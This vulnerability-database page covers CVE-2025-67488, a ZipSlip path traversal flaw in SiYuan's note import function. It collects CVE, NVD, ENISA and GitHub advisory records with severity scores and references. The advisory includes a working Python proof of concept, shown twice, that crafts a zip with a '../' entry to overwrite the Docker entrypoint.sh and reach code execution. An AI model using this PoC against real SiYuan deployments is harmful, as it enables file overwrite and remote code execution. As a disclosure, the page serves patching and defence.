Vulnerability-Lookup

CVE-2025-67488 (GCVE-0-2025-67488)

Vulnerability from cvelistv5 – Published: 2025-12-09 20:32 – Updated: 2025-12-09 21:30

Title

SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE

Summary

SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, and can escalate to full code execution under some circumstances. A fix is planned for version 3.5.0.

Severity

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-12-09 21:29 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM
https://github.com/siyuan-note/siyuan/blob/dae615…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: <= 0.0.0-20251202123337-6ef83b42c7ce

Show details on NVD website

JSON

To clipboard

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EUVD-2026-263006

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 07:01

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

JSON

To clipboard

{
  "assigner": "ENISA",
  "date_reserved": "2026-10-02T07:01:29.662003+00:00",
  "id": "EUVD-2026-263006"
}

FKIE_CVE-2025-67488

Vulnerability from fkie_nvd - Published: 2025-12-09 21:16 - Updated: 2026-10-14 21:10

Severity

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190	Product
	security-advisories@github.com	https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	b3log	siyuan	*

JSON

To clipboard

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GHSA-GQFV-G4V7-M366

Vulnerability from github – Published: 2025-12-09 17:18 – Updated: 2025-12-09 21:37

Summary

SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE

Details

Summary

Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.

Details

An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.

PoC

Code used to generate the ZipSlip:

#!/usr/bin/env python3
import sys, base64, zipfile, io, time

def prepare_zipslip(filename):
    orgfile1 = open('Test.md','rb').read()
    payload =  open('entrypoint.sh','rb').read() #b"testpayload"

    zipslip = io.BytesIO()
    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
        info = zipfile.ZipInfo('Test.md')
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, orgfile1)

        info = zipfile.ZipInfo(filename)
        mtime = time.time()
        t = time.localtime(mtime)
        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
        zipf.writestr(info, payload)
    return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')
open('exp.zip', 'wb').write(gz)

Impact

The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20251202123337-6ef83b42c7ce"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-09T17:18:04Z",
    "nvd_published_at": "2025-12-09T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nFunction [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.\n\n### Details\nAn authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is  [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.\n\n### PoC\nCode used to generate the ZipSlip:\n```python\n#!/usr/bin/env python3\nimport sys, base64, zipfile, io, time\n\ndef prepare_zipslip(filename):\n    orgfile1 = open(\u0027Test.md\u0027,\u0027rb\u0027).read()\n    payload =  open(\u0027entrypoint.sh\u0027,\u0027rb\u0027).read() #b\"testpayload\"\n    \n    zipslip = io.BytesIO()\n    with zipfile.ZipFile(zipslip, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zipf:        \n        info = zipfile.ZipInfo(\u0027Test.md\u0027)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, orgfile1)\n        \n        info = zipfile.ZipInfo(filename)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, payload)\n    return zipslip.getvalue()\n\ngz = prepare_zipslip(\u0027../../../../../../../../../../opt/siyuan/entrypoint.sh\u0027)\nopen(\u0027exp.zip\u0027, \u0027wb\u0027).write(gz)\n```\n\n### Impact\nThe exploit is possible only if the attacker has access to **import** functionality. It\u0027s possible to achieve code execution and some persistence within the container",
  "id": "GHSA-gqfv-g4v7-m366",
  "modified": "2025-12-09T21:37:49Z",
  "published": "2025-12-09T17:18:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67488"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: ZipSlip -\u003e Arbitrary File Overwrite -\u003e RCE"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Action not permitted

CVE-2025-67488 (GCVE-0-2025-67488)

EUVD-2026-263006

FKIE_CVE-2025-67488

GHSA-GQFV-G4V7-M366

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